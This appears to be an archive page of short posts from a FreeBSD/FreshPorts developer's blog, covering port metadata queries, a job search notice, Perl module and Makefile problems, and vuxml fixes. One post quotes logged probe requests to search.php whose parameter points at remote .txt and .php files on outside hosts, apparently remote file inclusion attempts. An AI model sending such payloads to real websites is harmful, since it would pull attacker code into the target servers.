MASTERPORT : who uses it?

3 Comments / Bug fixes, Master/Slave /

MASTERPORT is a tool Mark Linimon and I have used for a while. It seems to have entered into common usage now. freshports.org=# select master_port, category, name from ports_active where master_port like ‘/%’ order by category, name; master_port | category | name ———————————————–+————–+————————— /usr/home/dan/ports/devel/ocaml-camlidl | archivers | ocaml-zip /usr/home/dan/ports/devel/ocaml-camlidl | graphics | ocaml-lablgl /usr/home/dan/ports/japanese/kinput2-freewnn/ | […]

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Work wanted

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I’m looking for work. I’m a software developer with lots of sysadmin experience. My ideal job would require multiple skills and involve development of high availability strategy, some coding, database design, and some sysadmin work, although not necessarily in that order. My resume: http://www.freebsddiary.org/dan_langille.php Will consider relocation.

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p5-Text-CSV_XS is missing

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Late last night, I wrote about a problem with virtual categories. I’ve been unable to reproduce the problem in test. But I did find the problem in production. [dan@supernews:/usr/websites/freshports.org/scripts] $ touch ../dynamic/www.en.ports.categories [dan@supernews:/usr/websites/freshports.org/scripts] $ sh process_www_en_ports_categories.sh about to fetch: fetch -q -o /usr/websites/freshports.org/dynamic/caching/tmp/categories http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/www/en/ports/categories?rev=HEAD&content-type=text/plain Can’t locate Text/CSV_XS.pm in @INC (@INC contains: /usr/local/lib/perl5/5.8.8/BSDPAN /usr/local/lib/perl5/site_perl/5.8.8/mach /usr/local/lib/perl5/site_perl/5.8.8 /usr/local/lib/perl5/site_perl

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Odd way to break in

4 Comments / Cracking /

Some people like to break into systems. Some like to find vulnerabilities. The good ones will tell you about the vulnerability so you can fix. Many won’t. Then there are the script kiddies. They don’t know much. They know how to run scripts. Lately, I’ve been seeing these requests to the FreshPorts website: /search.php?stype=http://0x00013.50webs.org/tesgcc.txt? /search.php?stype=http://0x0134.lan.io/pb.php?

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when is a Makefile not a Makefile?

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This is not good: $ file -kb /usr/home/dan/ports/www/p5-HTTP-Size/Makefile Apple Old Partition data block size: 20069, first type: ${PORTSDIR}/www/p5-HTML-SimpleL, name: I \, number of blocks: 1953460746, It should read: $ file -kb /usr/home/dan/ports/sysutils/bacula-server/Makefile ASCII English text Why do I care? The file in question has been fetched from the FreeBSD repository (via cvsweb). I need to

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vuxml – fix

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This isn’t so much a fix for the vuxml problem mentioned previously as it is a fix for properly detecting and reporting fetch errors. The patch is pretty simple: $ cvs di -u utilities.pm Index: utilities.pm =================================================================== RCS file: /home/repositories/freshports-1/scripts/utilities.pm,v retrieving revision 1.16 diff -u -r1.16 utilities.pm — utilities.pm 13 Sep 2007 13:01:41 -0000 1.16

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vuxml configuration still not right

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This morning portaudit told me I needed to upgrade PHP5 on a few servers. Again, I checked FreshPorts to see if a fix was in. Apparently it was. Unfortunately, it was wrong. Checking the version of vuln.xml in the ports tree, I found: $ grep ‘$FreeBSD’ ports/security/vuxml/vuln.xml $FreeBSD: ports/security/vuxml/vuln.xml,v 1.1416 2007/09/11 19:40:02 remko Exp $

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